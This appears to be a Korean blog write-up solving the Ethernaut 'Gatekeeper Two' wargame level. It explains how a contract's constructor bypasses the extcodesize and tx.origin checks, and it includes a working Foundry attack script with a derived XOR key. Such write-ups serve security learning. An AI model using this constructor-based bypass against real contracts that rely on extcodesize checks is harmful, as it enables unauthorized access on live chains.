728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
GatekeeprOne과 똑같이 gate one,two,three를 뚫어야 한다.
일단 첫번째 gateOne은 전문제와 똑같이 컨트랙트 새로 파면 되고 문제는 gateTwo이다.
extcodesize(caller())가 0이면 되는데 extcodesize란 해당 주소에 배포된 컨트랙트 주소가 있는지 확인하는 코드이다.
만약 반환값이 0일 경우 배포된 컨트랙트 주소인 것이고 0일 경우엔 해당 주소에 코드가 없거나 EOA(지갑)주소라는 뜻이다.
더 자세히 설명하자면 assembly코드의 extcodeSize Opcode를 통해 code hash데이터를 조회한다.
그러나gateOne을 우회하려면 contract주소를 통해우회해야한다.
위 두 gate를 동시 우회하기 위해선 constructor를 사용해주면 된다.
내가 새로 생성한 contract의 constructor에서 enter함수를 호출하면 constructor시점에선 해당 컨트랙트의 code hash가 저장되지 않았기 때문이다.
컨트랙트는 constructor가 실행된 후에 바이트코드를 code hash에 저장하기 때문에 constructor에서 호출하면 해당 컨트랙트 주소를 EOA주소로 착각하게 된다.
이후 gate3은 xor연산이기 때문에
uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max
이 값을 key로 저장해서 호출하면 된다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/gatekeeper2.sol";
contract Attack {
constructor(GatekeeperTwo target){
uint64 key = uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max;
console.log(key);
try target.enter(bytes8(key)){
}
catch{}
}
}
contract Gatekeeper2Solve is Script {
GatekeeperTwo public target;
function setUp() external{
address payable gateAddress = payable(0x30451C8B9aa213B14C9b3dA0a2D37223DC452878);
target = GatekeeperTwo(gateAddress);
}
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
new Attack(target);
vm.stopBroadcast();
}
}
728x90
반응형
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Preservation (0) | 2025.02.02 |
---|---|
[The Ethernaut] Naught Coin (0) | 2025.02.02 |
[The Ethernaut] Gatekeeper One (0) | 2025.01.31 |
[The Ethernaut] Privacy (0) | 2025.01.30 |
[The Ethernaut] Elevator (0) | 2025.01.28 |